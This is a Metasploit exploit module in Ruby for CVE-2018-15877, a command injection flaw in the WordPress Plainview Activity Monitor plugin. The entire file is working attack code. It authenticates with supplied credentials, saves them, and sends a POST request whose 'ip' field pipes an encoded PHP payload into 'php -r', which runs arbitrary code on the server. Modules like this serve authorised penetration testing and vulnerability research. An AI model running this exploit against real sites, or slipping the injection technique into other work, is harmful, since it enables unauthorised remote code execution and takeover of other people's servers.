Wordpress Plainview Activity Monitor RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Plainview Activity Monitor RCE',
      'Description'    => %q{
          Plainview Activity Monitor Wordpress plugin is vulnerable to OS
          command injection which allows an attacker to remotely execute
          commands on underlying system. Application passes unsafe user supplied
          data to ip parameter into activities_overview.php.
          Privileges are required in order to exploit this vulnerability.

          Vulnerable plugin version: 20161228 and possibly prior
          Fixed plugin version: 20180826
      },
      'Author'	=>
        [
          'LydA(c)ric LEFEBVRE', # Vulnerability discovery
          'Leo LE BOUTER', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-15877' ],
          [ 'EDB', '45274' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'BadChars' => '&>\'',
        },
      'Targets'        => [['WordPress', {}]],
      'DisclosureDate' => '2018-08-26'
      ))

      register_options(
        [
          OptString.new('USERNAME', [ true,  "The user to authenticate as"]),
          OptString.new('PASSWORD', [ true,  "The password to authenticate with" ])
        ])
  end

  def check
    unless wordpress_and_online?
      vprint_error("#{target_uri} does not seeem to be Wordpress site")
      return CheckCode::Unknown
    end
    check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
  end

  def exploit
    user = datastore['USERNAME']
    password = datastore['PASSWORD']

    print_status("Trying to login...")
    cookie = wordpress_login(user, password)
    if cookie.nil?
      fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
    end
    print_good("Login Successful")
    store_valid_credential(user: user, private: password, proof: cookie)

    uri = normalize_uri(target_uri.path, 'wp-admin/admin.php')

    vars_get = {
      'page' => 'plainview_activity_monitor',
      'tab'  => 'activity_tools'
    }

    vars_post = {
      'ip'     => "localhost | php -r '#{payload.encoded}'",
      'lookup' => 'Lookup',
      'submit' => 'Submit request'
    }

    send_request_cgi(
      'method'    => 'POST',
      'cookie'    => cookie,
      'uri'       => uri,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end
end